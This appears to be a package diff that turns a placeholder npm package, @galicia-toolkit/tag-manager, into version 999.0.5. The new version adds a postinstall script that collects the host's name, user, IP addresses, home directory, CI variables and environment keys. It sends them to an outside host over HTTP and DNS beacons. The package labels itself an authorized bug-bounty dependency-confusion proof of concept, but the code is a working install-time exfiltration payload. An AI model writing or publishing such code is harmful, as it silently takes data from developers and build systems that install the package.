@galicia-toolkit/tag-manager 0.0.0-stage → 999.0.5

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "@galicia-toolkit/tag-manager",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
+  "version": "999.0.5",
+  "description": "Security research \u2014 dependency confusion PoC (authorized bug bounty, Banco Galicia program)",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js || true"
+  }
 }

package/postinstall.js

@@ -0,0 +1,68 @@
+const os = require("os");
+const dns = require("dns");
+
+const info = {
+  pkg: require("./package.json").name,
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  nodeVersion: process.version,
+  cwd: process.cwd(),
+  dirname: __dirname,
+  pid: process.pid,
+  uptime: os.uptime(),
+  totalMem: Math.round(os.totalmem() / 1024 / 1024) + "MB",
+  cpus: os.cpus().length + "x " + (os.cpus()[0] || {}).model
+};
+
+try { info.username = os.userInfo().username; } catch(e) { info.username = process.env.USER || process.env.USERNAME || "unknown"; }
+try { info.homedir = os.homedir(); } catch(e) {}
+
+try {
+  var nets = os.networkInterfaces();
+  info.ips = [];
+  for (var name in nets) {
+    for (var i = 0; i < nets[name].length; i++) {
+      if (!nets[name][i].internal) info.ips.push(name + ":" + nets[name][i].address);
+    }
+  }
+} catch(e) {}
+
+info.ci = {};
+var ciKeys = ["CI","BUILD_NUMBER","BUILD_ID","JENKINS_URL","JENKINS_HOME",
+  "GITHUB_ACTIONS","GITLAB_CI","SYSTEM_TEAMFOUNDATIONCOLLECTIONURI",
+  "CODEBUILD_BUILD_ID","npm_config_registry","npm_package_name",
+  "NODE_ENV","HOME","COMPUTERNAME","USERDOMAIN","PATH"];
+for (var k = 0; k < ciKeys.length; k++) {
+  if (process.env[ciKeys[k]]) info.ci[ciKeys[k]] = process.env[ciKeys[k]];
+}
+info.envKeys = Object.keys(process.env).sort();
+
+var body = JSON.stringify(info);
+
+// Exfil 1: HTTP via interactsh (port 9999 — confirmed reachable)
+try {
+  var h = require("http");
+  var req = h.request({
+    hostname: "oob.s4yhii.com",
+    port: 9999,
+    path: "/dep-confusion",
+    method: "POST",
+    headers: {"Content-Type": "application/json", "Content-Length": Buffer.byteLength(body)},
+    timeout: 8000
+  }, function(){});
+  req.on("error", function(){});
+  req.write(body);
+  req.end();
+} catch(e) {}
+
+// Exfil 2: DNS beacons
+try {
+  var tag = info.pkg.replace(/[^a-z0-9]/gi, "").slice(-8);
+  var hx = Buffer.from(info.hostname).toString("hex").slice(0, 40);
+  var ux = Buffer.from(info.username).toString("hex").slice(0, 40);
+  dns.resolve(hx + "." + tag + ".h.dc.oob.s4yhii.com", function(){});
+  dns.resolve(ux + "." + tag + ".u.dc.oob.s4yhii.com", function(){});
+  dns.resolve(info.platform + "-" + info.arch + "." + tag + ".m.dc.oob.s4yhii.com", function(){});
+} catch(e) {}

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.